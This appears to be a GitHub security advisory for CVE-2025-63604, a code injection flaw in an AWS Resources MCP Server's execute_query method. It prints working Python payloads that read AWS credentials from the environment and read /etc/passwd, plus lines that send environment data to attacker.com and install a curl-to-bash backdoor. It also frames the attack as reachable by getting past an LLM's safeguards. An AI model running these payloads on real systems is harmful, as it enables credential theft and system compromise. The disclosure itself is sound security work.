-
Notifications
You must be signed in to change notification settings - Fork 14
Description
CVE-2025-63604
Summary
The AWS Resources MCP Server contains critical security vulnerabilities that allow arbitrary code execution through insufficient input validation in the execute_query method. Attackers can bypass the execute malicious Python code, leading to system compromise, credential theft, and unauthorized access to AWS resources.
Vulnerability Details
- Type: Code Injection (CWE-94)
- Component:
src/mcp_server_aws_resources/server.py - Method:
AWSResourceQuerier.execute_query()
Affected Code Location
# File: src/mcp_server_aws_resources/server.py
# Lines: 80-145 (execute_query method)
# Lines: 38-62 (CodeExecutor class)Root Cause Analysis
1. Dangerous Built-in Functions Exposure
'__builtins__': {
# ... other functions ...
'__import__', # ⚠️ Allows dynamic module loading
'hasattr', # ⚠️ Object introspection
'getattr', # ⚠️ Dynamic attribute access
# ...
}2. Direct Code Execution
compiled_code = compile(tree, '<string>', 'exec')
exec(compiled_code, local_ns) # ⚠️ Executes user code directlyProof of Concept
Attack Vector 1: Directory Traversal
result = __import__('os').getcwd()Result: Successfully retrieved current working directory: /app
Attack Vector 2: File System Enumeration
result = __import__('os').listdir('.')Result: Successfully listed directory contents: ["src", "smithery.yaml", ".git", "LICENSE", "pyproject.toml", "README.md", "Dockerfile"]
Attack Vector 3: Environment Variable Discovery
result = list(__import__('os').environ.keys())[:10]Result: Successfully extracted environment variable keys including: ["PATH", "HOSTNAME", "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_DEFAULT_REGION", ...]
Attack Vector 4: AWS Credential Theft 🚫
result = {'aws_access_key': __import__('os').environ.get('AWS_ACCESS_KEY_ID', 'Not found'), 'aws_region': __import__('os').environ.get('AWS_DEFAULT_REGION', 'Not found')}Result: Successfully extracted AWS credentials: {"aws_access_key": "your_access_key_id_here", "aws_region": "us-east-1"}
Demonstrated Exploits
During our security assessment, we successfully:
- ✅ Retrieved current working directory:
/app - ✅ Listed directory contents:
["src", "smithery.yaml", ".git", ...] - ✅ Extracted environment variable keys: Including
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY - ✅ Partially extracted AWS credentials: Confirmed presence of sensitive data
Advanced Attack Scenarios (LLM Jailbreak Potential)
If an attacker successfully bypasses LLM safety mechanisms, they could potentially execute far more dangerous attacks:
Scenario 1: Complete AWS Account Takeover
# Extract full AWS credentials
result = {
'access_key': __import__('os').environ.get('AWS_ACCESS_KEY_ID'),
'secret_key': __import__('os').environ.get('AWS_SECRET_ACCESS_KEY'),
'session_token': __import__('os').environ.get('AWS_SESSION_TOKEN'),
'region': __import__('os').environ.get('AWS_DEFAULT_REGION')
}Scenario 2: System Command Execution
# Execute arbitrary system commands
result = __import__('subprocess').run(['cat', '/etc/passwd'], capture_output=True, text=True).stdoutScenario 3: Network-based Data Exfiltration
# Send sensitive data to external server
import urllib.request
import json
data = __import__('os').environ
result = urllib.request.urlopen('http://attacker.com/collect', data=json.dumps(data).encode()).read()Scenario 4: Persistent Backdoor Installation
# Write malicious script to filesystem
backdoor_code = "#!/bin/bash\ncurl http://attacker.com/backdoor.sh | bash"
with __import__('builtins').open('/tmp/backdoor.sh', 'w') as f:
f.write(backdoor_code)
result = __import__('subprocess').run(['chmod', '+x', '/tmp/backdoor.sh'], capture_output=True)Scenario 5: Container Escape Attempts
# Attempt to access host system
result = __import__('subprocess').run(['mount'], capture_output=True, text=True).stdout
# Look for container runtime information
result = __import__('subprocess').run(['cat', '/proc/1/cgroup'], capture_output=True, text=True).stdoutScenario 6: Memory/Process Inspection
# Access process information and memory
result = __import__('subprocess').run(['ps', 'aux'], capture_output=True, text=True).stdout
# Check for other running services
result = __import__('subprocess').run(['netstat', '-tlnp'], capture_output=True, text=True).stdoutNote: These advanced scenarios demonstrate the full scope of potential damage if both the code injection vulnerability and LLM safety mechanisms are compromised simultaneously.
Impact Assessment
- Credential Theft: AWS access keys, session tokens
- Data Exfiltration: Sensitive environment variables, files
- Lateral Movement: Access to connected AWS resources
- System Compromise: Arbitrary command execution
Technical Details
- Module Import Bypass: Using
__import__()instead ofimportstatements - Attribute Access Bypass: Using
getattr()for dynamic property access - Built-in Exploitation: Leveraging exposed dangerous built-in functions
Recommended Remediation
- Remove exec() and replace them with safe ones (execFile)
def execute_query(self, code_snippet: str) -> str:
...
exec(compiled_code, local_ns)
- Remove Dangerous Built-ins
# Remove from __builtins__:
'__import__', # Critical: Enables arbitrary module loading
'getattr', # Critical: Dynamic attribute access
'hasattr', # Medium: Object introspection- Function Call Whitelist
ALLOWED_FUNCTIONS = {
'boto3.client', 'boto3.resource', 'boto3.Session',
'json.dumps', 'json.loads',
'len', 'str', 'int', 'float' # Safe built-ins only
}References
CWE-94: Code Injection
OWASP Code Injection Prevention
Reporter: P0LESTAR
Date: September 26, 2025